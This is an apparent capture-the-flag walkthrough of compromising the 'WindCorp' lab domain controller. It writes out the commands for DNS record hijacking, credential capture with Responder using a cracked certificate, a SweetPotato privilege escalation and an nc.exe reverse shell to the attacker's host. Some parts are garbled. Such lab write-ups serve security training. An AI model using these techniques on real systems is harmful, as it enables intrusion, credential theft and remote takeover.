

Walkthrough

Story

WindCorp recently had a security-breach. Since then they have hardened their infrastructure, learning from their mistakes. But maybe not enough? You have managed to enter their local network...

nmap-scan

Open ports

PORT	STATE	SERVICE	REASON
53/tcp	open	domain	syn-ack ttl 128
80/tcp	open	http	syn-ack ttl 128
88/tcp	open	kerberos-sec	syn-ack ttl 128
135/tcp	open	msrpc	syn-ack ttl 128
139/tcp	open	netbios-ssn	syn-ack ttl 128
389/tcp	open	ldap	syn-ack ttl 128
443/tcp	open	https	syn-ack ttl 128
445/tcp	open	microsoft-ds	syn-ack ttl 128
464/tcp	open	kpasswd5	syn-ack ttl 128
593/tcp	open	http-rpc-epmap	syn-ack ttl 128
636/tcp	open	ldaps	syn-ack ttl 128
2179/tcp	open	vmrdp	syn-ack ttl 128
3268/tcp	open	globalcatLDAP	syn-ack ttl 128
3269/tcp	open	globalcatLDAPssl	syn-ack ttl 128
5222/tcp	open	xmpp-client	syn-ack ttl 128
5223/tcp	open	hpvirtgrp	syn-ack ttl 128
5229/tcp	open	jaxflow	syn-ack ttl 128
5262/tcp	open	unknown	syn-ack ttl 128
5263/tcp	open	unknown	syn-ack ttl 128
5269/tcp	open	xmpp-server	syn-ack ttl 128
5270/tcp	open	xmp	syn-ack ttl 128
5275/tcp	open	unknown	syn-ack ttl 128
5276/tcp	open	unknown	syn-ack ttl 128
7070/tcp	open	realserver	syn-ack ttl 128
7443/tcp	open	oracleas-https	syn-ack ttl 128
7777/tcp	open	cbt	syn-ack ttl 128
9090/tcp	open	zeus-admin	syn-ack ttl 128
9091/tcp	open	xmltec-xmlmail	syn-ack ttl 128
9389/tcp	open	adws	syn-ack ttl 128
49667/tcp	open	unknown	syn-ack ttl 128
49669/tcp	open	unknown	syn-ack ttl 128
49670/tcp	open	unknown	syn-ack ttl 128
49671/tcp	open	unknown	syn-ack ttl 128
49682/tcp	open	unknown	syn-ack ttl 128
49690/tcp	open	unknown	syn-ack ttl 128



Nikto

```
root@kali2:~# nikto --url http://192.168.16.30
- Nikto v2.1.6
-----
+ Target IP:      192.168.16.30
+ Target Hostname: 192.168.16.30
+ Target Port:    80
+ Start Time:     2020-05-31 20:13:07 (GMT2)
-----
+ Server: Microsoft-IIS/10.0
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Root page / redirects to: https://fire.windcorp.thm/
+ Retrieved x-aspnet-version header: 4.0.30319
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7915 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:      2020-05-31 20:13:28 (GMT2) (21 seconds)
-----
+ 1 host(s) tested
```

Adding host in hostfile and checking https

```
+ SSL info:
Subject: /CN=fire.windcorp.thm
Ciphers:  ECDHE-RSA-AES256-GCM-SHA384
Issuer:   /CN=fire.windcorp.thm
+ Start Time: 2020-05-31 20:15:36 (GMT2)
-----
+ Server: Microsoft-IIS/10.0
+ Retrieved x-powered-by header: ASP.NET
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-aspnet-version header: 4.0.30319
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ 7863 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:      2020-05-31 20:17:27 (GMT2) (111 seconds)
-----
+ 1 host(s) tested
```

Certificate

The certificate reveals some ASNs

GeneralDetails

Certificate Hierarchy

fire.windcorp.thm

Certificate Fields

Subject Public Key Algorithm

Subject's Public Key

Extensions

- Certificate Key Usage
- Extended Key Usage
- Certificate Subject Alt Name
- Certificate Subject Key ID

Certificate Signature Algorithm

Certificate Signature Value


Field Value

Not Critical


DNS Name: fire.windcorp.thm

DNS Name: selfservice.windcorp.thm


DNS Name: selfservice.dev.windcorp.thm



Adding the other hostnames to our hostfile and checking them out in the browser.



The password reset from Ra is removed and a "Selfservice" button put there in its place.




```

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     | | \ \  _  |  _  |
     | |  \ \  _  |  _  |

```

Trying the other hostname we found:



Time for gobuster

On the main site we get an interesting hit.

```

root@kali2:~# gobuster dir --url https://fire.windcorp.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          https://fire.windcorp.thm
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:  200,204,301,302,307,401,403
[+] User Agent:    gobuster/3.0.1
[+] Timeout:      10s
=====
2020/05/31 20:38:22 Starting gobuster
=====
/img (Status: 301)
/css (Status: 301)
/vendor (Status: 301)
/IMG (Status: 301)
/CSS (Status: 301)
/Img (Status: 301)
/powershell (Status: 302)

```

On <https://selfservice.dev.windcorp.thm/> we get a hit as well


```

root@kali2:~# gobuster dir --url https://selfservice.dev.windcorp.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
=====
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
=====
[+] Url:          https://selfservice.dev.windcorp.thm/
[+] Threads:      10
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:  200,204,301,302,307,401,403
[+] User Agent:    gobuster/3.0.1
[+] Timeout:      10s
=====
2020/05/31 21:20:43 Starting gobuster
=====
/backup (Status: 301)
/Backup (Status: 301)


```



On /powershell we find a powershell web access web app, but we have no credentials.



on /backup we find a file named cert.pfx



Trying to read the pfx, but it is password-protected.

```
root@kali2:~# openssl pkcs12 -info -in Downloads/cert.pfx
Enter Import Password:
```

Cracking it

Redacted (cert.pfx)

```
19 0.00.00.00 00NE (2020-05-31 22:11) 2.777g/s 5511p/s 5511c/s 5511C/s lolllol..peaches1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

_____	_____
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_) / _`	_ _)
_ < (_	/ _ _ /
_ \ _ \ _ , _	_ _ _ _

[illegible]


The private key is also included in this package.

DNSRecon reveals an interesting TXT record

```

root@kali:~# nsdseccon -d windcorp.thm -n 192.168.16.30
[*] Performing General Enumeration of Domain: windcorp.thm
[*] DNSSEC is not configured for windcorp.thm
[*] SOA fire.windcorp.thm 192.168.16.30
[*] SOA fire.windcorp.thm 192.168.112.1
[*] NS fire.windcorp.thm 192.168.16.30
[*] Recursion enabled on NS Server 192.168.16.30
[*] NS fire.windcorp.thm 192.168.112.1
[*] Could not Resolve MX Records for windcorp.thm
[*] A record for windcorp.thm 192.168.16.30
[*] A record for windcorp.thm 192.168.112.1
[*] Warning: Allowing nonsecure dynamic updates is a significant security vulnerability because updates can be accepted from untrusted sources!
[*] Enumerating SRV Records
[*] 'type': 'SRV', 'name': '_gc._tcp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '3268'}
[*] 'type': 'SRV', 'name': '_gc._tcp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '3268'}
[*] 'type': 'SRV', 'name': '_kerberos._tcp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '88'}
[*] 'type': 'SRV', 'name': '_kerberos._tcp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '88'}
[*] 'type': 'SRV', 'name': '_kerberos._udp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '88'}
[*] 'type': 'SRV', 'name': '_kerberos._udp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '88'}
[*] 'type': 'SRV', 'name': '_ldap._tcp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '389'}
[*] 'type': 'SRV', 'name': '_ldap._tcp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '389'}
[*] 'type': 'SRV', 'name': '_ldap._tcp._msdcs.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '3268'}
[*] 'type': 'SRV', 'name': '_ldap._tcp._msdcs.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '3268'}
[*] 'type': 'SRV', 'name': '_ldap._tcp.dc._msdcs.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '389'}
[*] 'type': 'SRV', 'name': '_ldap._tcp.dc._msdcs.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '389'}
[*] 'type': 'SRV', 'name': '_kpasswd._udp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '464'}
[*] 'type': 'SRV', 'name': '_kpasswd._udp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '464'}
[*] 'type': 'SRV', 'name': '_ldap._tcp.pdc._msdcs.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '389'}
[*] 'type': 'SRV', 'name': '_ldap._tcp.pdc._msdcs.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '389'}
[*] 'type': 'SRV', 'name': '_kpasswd._tcp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '464'}
[*] 'type': 'SRV', 'name': '_kpasswd._tcp.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '464'}
[*] 'type': 'SRV', 'name': '_kerberos._tcp._msdcs.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '88'}
[*] 'type': 'SRV', 'name': '_kerberos._tcp._msdcs.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '88'}
[*] 'type': 'SRV', 'name': '_ldap._tcp.ForestDNSZones.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.16.30', 'port': '389'}
[*] 'type': 'SRV', 'name': '_ldap._tcp.ForestDNSZones.windcorp.thm', 'target': 'fire.windcorp.thm', 'address': '192.168.112.1', 'port': '389'}
22 Records Found

```



Flag 1:
THM
be :

Redacted

can

So. This seems to suggest the server allows secure AND nonsecure DNS updates. We try to add a record to verify.

```
> server 192.168.16.30
> update add test.windcorp.thm 5 TXT "Don't mind me.."
> send
```

Checking


```
nslookup
> server 192.168.16.30
Default server: 192.168.16.30
Address: 192.168.16.30#53
> set type=txt
> test.windcorp.thm
Server:          192.168.16.30
Address:         192.168.16.30#53

test.windcorp.thm      text = "Don't mind me.."
```

So we can add records.

Summing up what we know:

- There is a authenticated site <https://selfservice.windcorp.thm>
- We have the certificate and private key, so we could impersonate that server
- We can alter DNS records, so impersonating sounds like a plan.



First we add certificate to Responder. We need to extract the contents of the pfx to a certificate-file and a key-file.

```
openssl pkcs12 -in ~/Downloads/cert.pfx -out selfservice.crt.pem -clcerts
-nokeys
Enter Import Password:
openssl pkcs12 -in ~/Downloads/cert.pfx -out selfservice.key.pem -nocerts
-nodes
Enter Import Password:
```

Then edit /etc/responder/Responder.conf

```
[HTTPS Server]

; Configure SSL Certificates to use
SSLCert = /usr/share/responder/selfservice.crt.pem
SSLKey = /usr/share/responder/selfservice.key.pem
```



And start responder: responder -l eth0

Then edit the record for selfservice

```
> server 192.168.16.30
> update delete selfservice.windcorp.thm
> send
> update add selfservice.windcorp.thm 86400 A 192.168.16.53
> send
> quit
```




As the server is not running SSH, but there is an alternative, WinRM on port 5985. WinRM is used for PowerShell remoting, where an authenticated user can access the server and submit commands. Using the evil-winrm tool, we can access the server semi-interactively.





```
PS C:\Users\edwardle.WINDCORP\desktop>
type ".\Flag 2.txt"
THM
PS (Redacted)
```

Submit Cancel History: ↑ ↓ Connected to: fire.windcorp.thm Save Exit

Flag 2: Redacted }

Seems we have a privilege we shouldn't have; Impersonate


```
PS C:\Users\edwardle.WINDCORP\desktop>
whoami /priv

PRIVILEGES INFORMATION
-----

Privilege Name      Description                                     State
-----
SeMachineAccountPrivilege  Add workstations to domain                    Enabled
SeChangeNotifyPrivilege   Bypass traverse checking                      Enabled
SeImpersonatePrivilege     Impersonate a client after authentication     Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set                Enabled
PS C:\Users\edwardle.WINDCORP\desktop>
```

Submit Cancel History: ↑ ↓ Connected to: fire.windcorp.thm Save Exit

This makes us think of SweetPotato. Downloading and compiling using Visual Studio Community Edition



```

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```

Uploading files + nc.exe using powershell: Invoke-webrequest.

Executing

```

PS C:\Users\edwardle.WINDCORP\desktop>
.\sweetpotato.exe -p nc.exe -a "-e cmd 192.168.16.53 443"
SweetPotato by @ EthicalChaos
Original RottenPotato code and exploit by @foxglovesec
Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery
PrintSpoofer discovery and original exploit by @itm4n
[+] Attempting NP impersonation using method PrintSpoofer to launch nc.exe
[+] Triggering notification on evil PIPE \\Fire\pipe\728cf425-0f0f-41e5-b786-a6a8fc2f08b9
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!
PS C:\Users\edwardle.WINDCORP\desktop>

```

```

root@kali12:~# rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.16.53] from (UNKNOWN) [192.168.16.30] 56741
Microsoft Windows [Version 10.0.17763.1158]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
windcorp\fire$

C:\Windows\system32>

```

pwned

```

C:\Users\Administrator\Desktop>type "Flag 3.txt"
type "Flag 3.txt"
Redacted
C:\Users\Administrator\Desktop>

```

Flag 3: Redacted